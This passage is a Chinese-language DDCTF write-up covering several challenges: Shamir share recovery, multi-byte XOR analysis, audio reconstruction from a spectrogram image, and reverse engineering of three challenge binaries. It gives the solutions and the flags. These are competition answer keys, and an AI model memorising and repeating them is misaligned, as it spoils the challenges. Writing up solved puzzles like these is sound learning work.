p = 0xC53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7

res1=shamir(pairs1,p)

pairs2 = []
pairs2 += [(3, 0x300991151BB6A52AEF598F944B4D43E02A45056FA39A71060C69697660B14E69265E35461D9D0BE4D8DC29E77853FB2391361BEB54A97F8D7A9D8C66AEFDF3DA)]
pairs2 += [(4, 0x1AAC52987C69C8A565BF9E426E759EE3455D4773B01C7164952442F13F92621F3EE2F8FE675593AE2FD6022957B0C0584199F02790AAC61D7132F7DB6A8F77B9)]
pairs2 += [(5, 0x9288657962CCD9647AA6B5C05937EE256108DFCD580EFA310D4348242564C9C90FBD1003FF12F6491B2E67CA8F3CC3BC157E5853E29537E8B9A55C0CF927FE45)]
p = 0xC53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7
res2=shamir(pairs2,p)


pairs3 = []
pairs3 += [(1, res1)]
pairs3 += [(2, res2)]
p = 0xC53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7
res3=shamir(pairs3,p
print hex(res3)[2:-1].decode('hex')

image.png

MulTzor

工具:https://github.com/nccgroup/featherduster

1
2
3
4
import manualentry
analyze
use multi_byte_xor
run

需要装一些依赖

1
2
apt-get install python-crypto, libncurses-dev, libgmp3-dev
pip install pycrypto

image.png

伪-声纹锁

假设输入音频一共n个数据。

stft,每一帧2048个数据,每次移动100个数据。

对每一帧作傅里叶变换,手动算的。f取到从20到2000中间150个数据。

这样得到了150 * (n/100)个结果,跟fingerprint中提取出的结果check。

反变换就行了,数据按公式带。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import cmath
import librosa # v0.6.2, maybe ffmpeg is needed as backend
import numpy as np # v1.15.4
import sys
from PIL import Image, ImageDraw # Pillow v5.4.1
from scipy import signal, fft

window_size = 2048
step_size = 100
max_lim = 0.15
f_ubound = 2000
f_bins = 150
sr = 15000

def transform_x(x, f_ubound=f_ubound, f_bins=f_bins):
freqs = np.logspace(np.log10(20), np.log10(f_ubound), f_bins)
seqs = []
for f in freqs:
seq = []
d = cmath.exp(-2j * cmath.pi * f / sr)
coeff = 1
for t in range(len(x)):
seq.append(x[t] * coeff)
coeff *= d
seqs.append(seq)
sums = []
for seq in seqs:
X = [sum(seq[:window_size])/window_size]
for t in range(step_size, len(x), step_size):
X.append(X[-1]-sum(seq[t-step_size:t])/window_size)
if t+window_size-step_size < len(x):
X[-1] += sum(seq[t+window_size-step_size:t+window_size])/window_size
sums.append(X)
return freqs, np.array(sums)

def image_to_array(img):
img_arr = linear_map(np.array(img.getdata(), np.uint8).reshape(img.size[1], img.size[0], 3), 0, 255, -max_lim, max_lim)
return img_arr[:, :, 1] + img_arr[:, :, 2] * 1j

def linear_map(v, a2, a3, a4, a5):
res = (v-a2)*1.0/(a3-a2)*(a5-a4) + a4
return (v-a2)*1.0/(a3-a2)*(a5-a4) + a4

def itransform_x(x,i):
freqs = np.logspace(np.log10(20), np.log10(f_ubound), f_bins)
res = []
for j in range(100*i,100*i+2000):
tj = 0
for k in range(len(freqs)):
tj += x[k] * cmath.exp(2j*cmath.pi*freqs[k]*j/sr)
res.append(tj)
return res

img = Image.open('fingerprint.png')
x = image_to_array(img)
x = np.transpose(x)
print(x.shape)
res = []
for i in range(0,967,20):
print(i)
frame = itransform_x(x[i],i)
res += frame
print(len(res))
librosa.output.write_wav('output.wav',np.real(np.array(res)),sr = sr)

出来的音频不太好,不过也够了。voice encoded

后面四个不知道是什么词,像是lret,lreq,freq,freb,fret根据脚本freq应该有可能,都试一下。

最终的flag

1
DDCTF{VOICE_ENCODED_FREQ}

RE

windows reverse 1

用esp定律脱壳,找到main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int sub_311050()
{
char v1; // [esp+4h] [ebp-804h]
char v2; // [esp+5h] [ebp-803h]
_BYTE v3[1024]; // [esp+404h] [ebp-404h]

v3[0] = 0;
sub_31193E(&v3[1], 0, 1023);
v1 = 0;
sub_31193E(&v2, 0, 1023);
((void (__cdecl *)(const char *))msvcr90_printf)("please input code:");
((void (*)(const char *, ...))msvcr90_scanf)((const char *)&unk_31211C, v3);
sub_311000(v3);
if ( !strcmp(&v1, "DDCTF{reverseME}") )
((void (*)(const char *, ...))msvcr90_printf)("You've got it!!%s\n", &v1);
else
((void (__cdecl *)(const char *))msvcr90_printf)("Try again later.\n");
return 0;
}

主要加密在这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int __cdecl sub_311000(const char *a1)
{
_BYTE *v1; // ecx
unsigned int v2; // edi
unsigned int result; // eax
const char *v4; // ebx

v2 = 0;
result = strlen(a1);
if ( result )
{
v4 = (const char *)(a1 - v1);
do
{
*v1 = unk_312FF8[(char)v1[(_DWORD)v4]];
++v2;
++v1;
result = strlen(a1);
}
while ( v2 < result );
}
return result;
}

调试了一下发现是把输入按照ascii码可见字符的部分反过来,最后于flag对比

1
2
3
4
5
cipher = 'DDCTF{reverseME}'
plain = ''
for i in range(len(cipher)):
plain+=chr((0x7f-0x20)-(ord(cipher[i])-0x20)+0x20-1)
print(plain)

加上格式就是flag了。

confused.app

找字符串,找到个有check DDCTF格式的函数最后看到校验函数在 sub_1000011D0,进去之后看到sub_100001F60里面定义了很多函数,每个对应了 一个F开头的字节,看起来很像虚拟机。在sub_100001F00里面看到了opcode。稍微分析下字节码和函数,其实他就用了四条指令,F0,读指令后面第二字节开始的DWORD到寄存器,F8 如果是字母的话+2,其实就是凯撒密码,F2,跟输入对应位比较(这里不太清楚为啥是0x30开始,就姑且当时从第0位开始),F6不等于则跳转,然后一直都是这四条重复。把常量提取出来凯撒解个密就是了。

没写脚本,找个网站在线解密,偏移量24

密文fcjjmWmsEmrRfcDjye

原文helloYouGotTheFlag

obfuscating_macros

输入后有两个check函数sub_4069D6和sub_4013E6。里面乱七八糟一大堆不知道是什么,动态调试。在输入的地址下硬件断点,随便输点东西进去。我输入了asdasd

首先很明显能看到一个长度要为偶数,奇数位数直接没了。

改输入为ASDASD再来

然后check字符从0-9或A-F,看到如果是A-F的话就减去0x37再*16,到第二位S又没了,因此猜测是check0-9A-F。大概能知道这里是十六进制数字符串转字节。

测试一下,输入11223344AABBCCDD,最后跟到某个地方直接进到第二个函数了,这里可以看到确实转成字节了。

继续运行又直接挂了,从头再来一遍,再到这里的时候能看到他把某个值减去了输入,我这里是0x79,减完存起来继续下断点跟,看到test al al,猜测一下估计就是直接比对了,再刚刚的0000000000405FC2下断,每次输入不同的值看到这里都是0x79,输入79之后就check下一位了,那就好办了,下好断点一个字节一个字节来,flag就出了。

-------------本文结束感谢您的阅读-------------